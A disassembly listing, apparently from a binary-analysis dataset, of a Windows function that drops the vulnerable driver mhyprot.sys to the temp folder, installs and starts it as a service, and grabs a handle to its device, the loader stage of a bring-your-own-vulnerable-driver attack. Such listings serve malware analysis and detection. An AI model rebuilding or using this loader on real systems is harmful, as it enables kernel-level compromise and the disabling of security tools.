Function at 0x140017320
Capabilities:
Delete file
Get common file path

Disassembly:
jmp 0x140037a30
push rbp
push rsi
push rdi
sub rsp, 0x6c0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x110
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1401d0080]
xor rax, rbp
mov qword [rbp + 0x678], rax
lea rcx, reloc.d2d1.dll_Ordinal_1
call fcn.140018428
nop
lea rcx, str.____loading_vulnerable_driver..._n
call fcn.140017d89
nop
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [rbp + 0x134], eax
cmp dword [rbp + 0x134], 0x104
ja 0x140037aa6
cmp dword [rbp + 0x134], 0
jne 0x140037acd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x3d4], eax
lea rdx, [rbp + 0x3d4]
lea rcx, str.____failed_to_obtain_temp_path.__0x_lX__n
call fcn.140017d70
nop
xor al, al
jmp 0x140037dc0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x3f8]
call fcn.140017924
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
mov qword [rbp + 0x670], rax
lea r8, str.mhyprot.sys
mov rdx, qword [rbp + 0x670]
lea rcx, [rbp + 0x158]
call fcn.140018275
nop
lea rcx, [rbp + 0x3f8]
call fcn.140017389
nop
xor r8d, r8d
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x458]
call fcn.140017fd2
nop
lea rcx, [rbp + 0x458]
call fcn.14001791f
mov byte [rbp + 0x434], al
lea rcx, [rbp + 0x458]
call fcn.140018266
movzx eax, byte [rbp + 0x434]
test eax, eax
je 0x140037b70
lea rcx, [rbp + 0x158]
call fcn.1400171f9
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_remove]
nop
lea rdx, [rbp + 0x498]
lea rcx, [rbp + 0x158]
call fcn.14001772b
lea rcx, [rbp + 0x620]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x136078
lea rdx, [0x140050570]
lea rcx, [rbp + 0x620]
call fcn.14001841e
movzx eax, al
test eax, eax
jne 0x140037bfd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x4c4], eax
lea r8, [rbp + 0x4c4]
lea rdx, str.mhyprot.sys
lea rcx, str.____failed_to_prepare__s.__0x_lX__n
call fcn.140017d57
nop
mov byte [rbp + 0x4e4], 0
lea rcx, [rbp + 0x158]
call fcn.140017389
movzx eax, byte [rbp + 0x4e4]
jmp 0x140037dc0
lea rcx, str.____preparing_service..._n
call fcn.140017d89
nop
lea rdx, [rbp + 0x508]
lea rcx, [rbp + 0x158]
call fcn.14001772b
lea rcx, [rbp + 0x650]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x650]
call fcn.1400175af
mov qword [0x1401d1608], rax
cmp qword [0x1401d1608], 0
je 0x140037c58
cmp qword [0x1401d1608], 0xffffffffffffffff
jne 0x140037c97
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x534], eax
lea rdx, [rbp + 0x534]
lea rcx, str.____failed_to_create_service.__0x_lX__n
call fcn.140017d70
nop
mov byte [rbp + 0x554], 0
lea rcx, [rbp + 0x158]
call fcn.140017389
movzx eax, byte [rbp + 0x554]
jmp 0x140037dc0
mov rcx, qword [0x1401d1608]
call fcn.14001781b
movzx eax, al
test eax, eax
jne 0x140037ce9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x574], eax
lea rdx, [rbp + 0x574]
lea rcx, str.____failed_to_start_service.__0x_lX__n
call fcn.140017d70
nop
mov byte [rbp + 0x594], 0
lea rcx, [rbp + 0x158]
call fcn.140017389
movzx eax, byte [rbp + 0x594]
jmp 0x140037dc0
lea rdx, str.mhyprot.sys
lea rcx, str._____s_prepared_n
call fcn.140017b90
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str._mhyprot2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1401d0a40], rax
cmp qword [0x1401d0a40], 0
je 0x140037d49
cmp qword [0x1401d0a40], 0xffffffffffffffff
jne 0x140037d85
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x5b4], eax
lea rdx, [rbp + 0x5b4]
lea rcx, str.____failed_to_obtain_device_handle__0x_lX__n
call fcn.140017d70
nop
mov byte [rbp + 0x5d4], 0
lea rcx, [rbp + 0x158]
call fcn.140017389
movzx eax, byte [rbp + 0x5d4]
jmp 0x140037dc0
lea rdx, [0x1401d0a40]
lea rcx, str.___device_handle_snatched__0x_llX__n
call fcn.140017816
nop
lea rcx, str.____mhyprot_initialized_successfully_n
call fcn.140017d89
nop
mov byte [rbp + 0x5f4], 1
lea rcx, [rbp + 0x158]
call fcn.140017389
movzx eax, byte [rbp + 0x5f4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1401c4ce0]
call fcn.14001807c
mov rax, rdi
mov rcx, qword [rbp + 0x678]
xor rcx, rbp
call fcn.1400179c9
lea rsp, [rbp + 0x680]
pop rdi
pop rsi
pop rbp
ret